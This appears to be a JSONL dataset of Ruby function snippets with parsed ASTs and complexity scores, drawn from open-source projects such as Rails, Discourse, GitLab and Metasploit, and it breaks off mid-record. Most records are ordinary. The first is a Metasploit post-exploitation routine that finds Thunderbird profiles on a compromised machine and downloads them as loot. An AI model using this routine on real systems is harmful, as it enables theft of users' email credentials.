{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/thunderbird_creds.rb","start_line":57,"raw_source":"def run\n    # Initialize Thunderbird's base path based on the platform\n    case session.platform\n    when 'linux'\n      user = session.shell_command('whoami').chomp\n      base = \"/home/#{user}/.thunderbird/\"\n    when 'osx'\n      user = session.shell_command('whoami').chomp\n      base = \"/Users/#{user}/Library/Thunderbird/Profiles/\"\n    when 'windows'\n      if session.type == 'meterpreter'\n        user_profile = session.sys.config.getenv('APPDATA')\n      else\n        user_profile = cmd_exec('echo %APPDATA%').strip\n      end\n      base = user_profile + '\\\\Thunderbird\\\\Profiles\\\\'\n    end\n\n    # Now we have the path for Thunderbird, we still need to enumerate its\n    # random profile names.\n    print_status(\"Looking for profiles in #{base}...\")\n    profiles = get_profile_names(base)\n\n    # Steal!\n    profiles.each do |profile|\n      next if profile =~ /^\\./\n\n      slash = (session.platform == 'windows') ? '\\\\' : '/'\n      p = base + profile + slash\n\n      # Download the database, and attempt to process the content\n      download_loot(p)\n    end\n  end","complexity_score":57.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"shell_command\",{\"type\":\"str\",\"children\":[\"whoami\"]}]},\"chomp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/home/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"/.thunderbird/\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"osx\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"shell_command\",{\"type\":\"str\",\"children\":[\"whoami\"]}]},\"chomp\"]}]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/Users/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"/Library/Thunderbird/Profiles/\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"windows\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user_profile\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"sys\"]},\"config\"]},\"getenv\",{\"type\":\"str\",\"children\":[\"APPDATA\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_profile\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"echo %APPDATA%\"]}]},\"strip\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_profile\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\\\Thunderbird\\\\Profiles\\\\\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Looking for profiles in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"profiles\",{\"type\":\"send\",\"children\":[null,\"get_profile_names\",{\"type\":\"lvar\",\"children\":[\"base\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profiles\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"profile\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^\\\\.\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"slash\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"platform\"]},\"==\",{\"type\":\"str\",\"children\":[\"windows\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"profile\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"slash\"]}]}]},{\"type\":\"send\",\"children\":[null,\"download_loot\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}]}]}]}","id":"329796c6-f1e0-4e9d-81c3-83250f02a2d6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ie_execcommand_uaf.rb","start_line":116,"raw_source":"def junk(n = 4)\n    return rand_text_alpha(n).unpack(\"V\")[0].to_i\n  end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"junk\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"n\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"lvar\",\"children\":[\"n\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_i\"]}]}]}","id":"6cf156e6-315a-494b-8abb-3bf9f7acf33e"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/cli/options.rb","start_line":185,"raw_source":"def set_up_progress_formatting_options\n        parser.on('-P', '--[no-]progress',\n                  'Show progress of each source as it is examined (default: true)') do |show_progress|\n          self.progress_format = show_progress ? :dots : :quiet\n        end\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_up_progress_formatting_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parser\"]},\"on\",{\"type\":\"str\",\"children\":[\"-P\"]},{\"type\":\"str\",\"children\":[\"--[no-]progress\"]},{\"type\":\"str\",\"children\":[\"Show progress of each source as it is examined (default: true)\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"show_progress\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"progress_format=\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"show_progress\"]},{\"type\":\"sym\",\"children\":[\"dots\"]},{\"type\":\"sym\",\"children\":[\"quiet\"]}]}]}]}]}","id":"a022b232-7b3c-4e0d-96de-99bd1485885d"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post_action.rb","start_line":23,"raw_source":"def self.counts_for(collection, user)\n    return {} if collection.blank? || !user\n\n    collection_ids = collection.map(&:id)\n    user_id = user.try(:id) || 0\n\n    post_actions = PostAction.where(post_id: collection_ids, user_id: user_id)\n\n    user_actions = {}\n    post_actions.each do |post_action|\n      user_actions[post_action.post_id] ||= {}\n      user_actions[post_action.post_id][post_action.post_action_type_id] = post_action\n    end\n\n    user_actions\n  end","complexity_score":21.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"counts_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"collection\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"collection_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collection\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"try\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post_actions\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostAction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_id\"]},{\"type\":\"lvar\",\"children\":[\"collection_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_actions\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_actions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post_action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_actions\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_action\"]},\"post_id\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_actions\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_action\"]},\"post_id\"]}]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post_action\"]},\"post_action_type_id\"]},{\"type\":\"lvar\",\"children\":[\"post_action\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"user_actions\"]}]}]}","id":"61dd9e01-f2c9-42d2-8027-69bec44cb25f"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/rails/generator/generator_generator.rb","start_line":18,"raw_source":"def generator_dir\n          if options[:namespace]\n            File.join(\"lib\", \"generators\", regular_class_path, file_name)\n          else\n            File.join(\"lib\", \"generators\", regular_class_path)\n          end\n        end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"generator_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"lib\"]},{\"type\":\"str\",\"children\":[\"generators\"]},{\"type\":\"send\",\"children\":[null,\"regular_class_path\"]},{\"type\":\"send\",\"children\":[null,\"file_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"lib\"]},{\"type\":\"str\",\"children\":[\"generators\"]},{\"type\":\"send\",\"children\":[null,\"regular_class_path\"]}]}]}]}","id":"1b3ab403-5a72-4d1f-83e3-f10e17441583"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/vendor/holidays/definitions/lib/validation/definition_validator.rb","start_line":6,"raw_source":"def initialize(custom_method_validator, months_validator, test_validator)\n        @custom_method_validator = custom_method_validator\n        @months_validator = months_validator\n        @test_validator = test_validator\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"custom_method_validator\"]},{\"type\":\"arg\",\"children\":[\"months_validator\"]},{\"type\":\"arg\",\"children\":[\"test_validator\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@custom_method_validator\",{\"type\":\"lvar\",\"children\":[\"custom_method_validator\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@months_validator\",{\"type\":\"lvar\",\"children\":[\"months_validator\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@test_validator\",{\"type\":\"lvar\",\"children\":[\"test_validator\"]}]}]}]}","id":"3d55b5ae-6fec-49aa-8118-803225a74367"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1407,"raw_source":"def test_week_field_with_nil_value\n    expected = %{<input id=\"post_written_on\" name=\"post[written_on]\" type=\"week\" />}\n    @post.written_on = nil\n    assert_dom_equal(expected, week_field(\"post\", \"written_on\"))\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_week_field_with_nil_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<input id=\\\"post_written_on\\\" name=\\\"post[written_on]\\\" type=\\\"week\\\" />\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"written_on=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"week_field\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"written_on\"]}]}]}]}]}","id":"6a857094-2948-407b-9ea6-53ca08fdd19c"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/variable_test.rb","start_line":94,"raw_source":"def test_reuse_parsed_template\n    template                     = Template.parse(%({{ greeting }} {{ name }}))\n    template.assigns['greeting'] = 'Goodbye'\n    assert_equal('Hello Tobi', template.render!('greeting' => 'Hello', 'name' => 'Tobi'))\n    assert_equal('Hello ', template.render!('greeting' => 'Hello', 'unknown' => 'Tobi'))\n    assert_equal('Hello Brian', template.render!('greeting' => 'Hello', 'name' => 'Brian'))\n    assert_equal('Goodbye Brian', template.render!('name' => 'Brian'))\n    assert_equal({ 'greeting' => 'Goodbye' }, template.assigns)\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reuse_parsed_template\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Template\"]},\"parse\",{\"type\":\"str\",\"children\":[\"{{ greeting }} {{ name }}\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"assigns\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"greeting\"]},{\"type\":\"str\",\"children\":[\"Goodbye\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello Tobi\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"render!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"greeting\"]},{\"type\":\"str\",\"children\":[\"Hello\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Tobi\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello \"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"render!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"greeting\"]},{\"type\":\"str\",\"children\":[\"Hello\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"unknown\"]},{\"type\":\"str\",\"children\":[\"Tobi\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Hello Brian\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"render!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"greeting\"]},{\"type\":\"str\",\"children\":[\"Hello\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Brian\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Goodbye Brian\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"render!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Brian\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"greeting\"]},{\"type\":\"str\",\"children\":[\"Goodbye\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"assigns\"]}]}]}]}","id":"0931f978-7200-4cfe-905e-5f058f62e44c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/auth_provider.rb","start_line":47,"raw_source":"def user_count\n    @user_count ||= user_auth_provider_links.count\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_auth_provider_links\"]},\"count\"]}]}]}","id":"ebfe16cc-5e57-4fb6-ae76-9e9e83613595"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/literal_in_interpolation.rb","start_line":183,"raw_source":"def prints_as_self?(node)\n          node.basic_literal? ||\n            (COMPOSITE.include?(node.type) && node.children.all? { |child| prints_as_self?(child) })\n        end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"prints_as_self?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"basic_literal?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMPOSITE\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"children\"]},\"all?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"child\"]}]},{\"type\":\"send\",\"children\":[null,\"prints_as_self?\",{\"type\":\"lvar\",\"children\":[\"child\"]}]}]}]}]}]}]}","id":"8a638f62-7f71-4acb-b52b-1fdb12d20971"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/relations.rb","start_line":131,"raw_source":"def open_relation_sub_menu\n        return if add_relation_sub_menu.visible?\n\n        new_relation_sub_menu_button.click\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"open_relation_sub_menu\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_relation_sub_menu\"]},\"visible?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_relation_sub_menu_button\"]},\"click\"]}]}]}","id":"edec4a02-2f76-47e2-971f-83423431fe55"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers/issues_helpers.rb","start_line":56,"raw_source":"def issue_finder(args = {})\n        args = declared_params.merge(args)\n\n        args.delete(:id)\n        args[:not] ||= {}\n\n        # Use the legacy milestone filtering in the RestAPI to avoid breaking change\n        # See: https://gitlab.com/gitlab-org/gitlab/-/issues/429728\n        args[:use_legacy_milestone_filtering] = true\n\n        args[:milestone_title] ||= args.delete(:milestone)\n        args[:milestone_wildcard_id] ||= args.delete(:milestone_id)\n        args[:not][:milestone_title] ||= args[:not].delete(:milestone)\n        args[:not][:milestone_wildcard_id] ||= args[:not].delete(:milestone_id)\n        args[:label_name] ||= args.delete(:labels)\n        args[:not][:label_name] ||= args[:not].delete(:labels)\n        args[:scope] = args[:scope].underscore if args[:scope]\n        args[:sort] = \"#{args[:order_by]}_#{args[:sort]}\"\n        args[:issue_types] ||= args.delete(:issue_type) || WorkItems::Type.allowed_types_for_issues\n\n        IssuesFinder.new(current_user, args)\n      end","complexity_score":32.7,"ast_json":"{\"type\":\"def\",\"children\":[\"issue_finder\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"declared_params\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not\"]}]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"use_legacy_milestone_filtering\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"milestone_title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"milestone\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"milestone_wildcard_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"milestone_id\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"milestone_title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not\"]}]},\"delete\",{\"type\":\"sym\",\"children\":[\"milestone\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"milestone_wildcard_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not\"]}]},\"delete\",{\"type\":\"sym\",\"children\":[\"milestone_id\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"label_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"labels\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"label_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"not\"]}]},\"delete\",{\"type\":\"sym\",\"children\":[\"labels\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"scope\"]}]},\"underscore\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"order_by\"]}]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"issue_types\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"issue_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkItems\"]},\"Type\"]},\"allowed_types_for_issues\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssuesFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"46624493-31f1-465b-841d-978cb25f12c4"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/resources_test.rb","start_line":930,"raw_source":"def test_resource_has_only_update_action_and_named_route\n    with_routing do |set|\n      set.draw do\n        resources :products, only: :update\n      end\n\n      assert_resource_allowed_routes(\"products\", {},                    { id: \"1\" }, :update, [:index, :new, :create, :show, :edit, :destroy])\n      assert_resource_allowed_routes(\"products\", { format: \"xml\" },  { id: \"1\" }, :update, [:index, :new, :create, :show, :edit, :destroy])\n\n      assert_not_nil set.named_routes[:product]\n    end\n  end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_resource_has_only_update_action_and_named_route\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_routing\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"products\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"sym\",\"children\":[\"update\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_resource_allowed_routes\",{\"type\":\"str\",\"children\":[\"produc